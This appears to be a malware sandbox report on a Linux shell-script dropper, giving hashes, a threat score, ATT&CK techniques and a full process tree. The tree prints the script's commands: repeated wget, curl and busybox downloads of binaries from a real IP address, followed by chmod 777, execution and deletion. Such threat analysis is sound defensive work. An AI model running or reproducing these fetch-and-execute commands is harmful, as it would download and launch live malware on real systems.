b066a1aa25fd6268d19d87c74d00d04786886e947defec4b70d9274dfb1af9f8

Analysis

max time kernel
11s
max time network
13s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/11/2024, 03:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b066a1aa25fd6268d19d87c74d00d04786886e947defec4b70d9274dfb1af9f8.sh
Size 10KB
Sample241107-dkjs9avbln
SHA256 b066a1aa25fd6268d19d87c74d00d04786886e947defec4b70d9274dfb1af9f8
MD5 d315f5f73485050cf7b713bdd6b7060b
SHA1 24c1382190c22ed25a3969743e5328ab29b3771e
SHA512 88b170a9a1b0ec6adf47929d895f93ff4c1d3a160f7eece4e3d9cf74cc2d52b66d23aca291bfdf584c50386b5fdd8cf85c171e52a1eae607f4935246c6f11872
SSDEEP 96:9q7eiRYUp3KccdoXcEBu6HLwX1FOkMHYkD9xiXNTLZl9OkMHYkAigAjMMlcEBu6+:9qrlslFOkMHYkD9IikMHYk1fy
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
748	chmod
758	chmod
781	chmod
803	chmod
809	chmod
687	chmod
698	chmod
721	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	688	DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	699	Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	722	CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	750	lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	759	CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	782	5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	804	F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	810	g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT

Checks CPU configuration 1 TTPs 8 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 16 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
800	busybox
804	F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
805	rm
786	wget
792	curl

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	curl
File opened for modification	/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	curl
File opened for modification	/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	curl
File opened for modification	/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	curl
File opened for modification	/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	curl
File opened for modification	/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	curl
File opened for modification	/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	curl
File opened for modification	/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	curl

/tmp/b066a1aa25fd6268d19d87c74d00d04786886e947defec4b70d9274dfb1af9f8.sh
/tmp/b066a1aa25fd6268d19d87c74d00d04786886e947defec4b70d9274dfb1af9f8.sh
1⤵
PID:656
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:658
- /usr/bin/wget
  wget http://87.120.84.230/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:663
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:684
- /bin/chmod
  chmod 777 DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  ./DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Executes dropped EXE
  PID:688
- /bin/rm
  rm DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:690
- /usr/bin/wget
  wget http://87.120.84.230/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:691
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:692
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:693
- /bin/chmod
  chmod 777 Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  ./Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Executes dropped EXE
  PID:699
- /bin/rm
  rm Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:702
- /usr/bin/wget
  wget http://87.120.84.230/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:703
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:709
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:716
- /bin/chmod
  chmod 777 CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  ./CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Executes dropped EXE
  PID:722
- /bin/rm
  rm CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:723
- /usr/bin/wget
  wget http://87.120.84.230/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:725
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:744
- /bin/chmod
  chmod 777 lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  ./lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:752
- /usr/bin/wget
  wget http://87.120.84.230/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:757
- /bin/chmod
  chmod 777 CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  ./CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Executes dropped EXE
  PID:759
- /bin/rm
  rm CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:760
- /usr/bin/wget
  wget http://87.120.84.230/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:775
- /bin/chmod
  chmod 777 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  ./5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Executes dropped EXE
  PID:782
- /bin/rm
  rm 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:785
- /usr/bin/wget
  wget http://87.120.84.230/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:786
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:792
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:800
- /bin/chmod
  chmod 777 F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  ./F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:804
- /bin/rm
  rm F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:805
- /usr/bin/wget
  wget http://87.120.84.230/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:808
- /bin/chmod
  chmod 777 g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  ./g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:811
- /usr/bin/wget
  wget http://87.120.84.230/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt

Path /tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP

Path /tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
Size 114B
SHA256 2d1255033a3f5cde3fb430b15d84ad95c1d7d37b25132cd3dcca7c30963e9f12
MD5 546071c6a6aeff34580b4d1a9b35a7c3
SHA1 dc2de298837a86d3bc86e8a328411229d9eccdb6
SHA512 207f333daf98fe653f4f661defd86651cbb50e3482511769d0558d2fd80ce107ec6a519424e05107740a802b444b62445901788d80dde4e8dbc8ee116d5b9be7
MD5 SHA1 SHA512

Submit Download

DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk

Path /tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
Size 176B
SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
MD5 e1732e70f015e99d14dff1eeeaec9966
SHA1 c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113
SHA512 6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads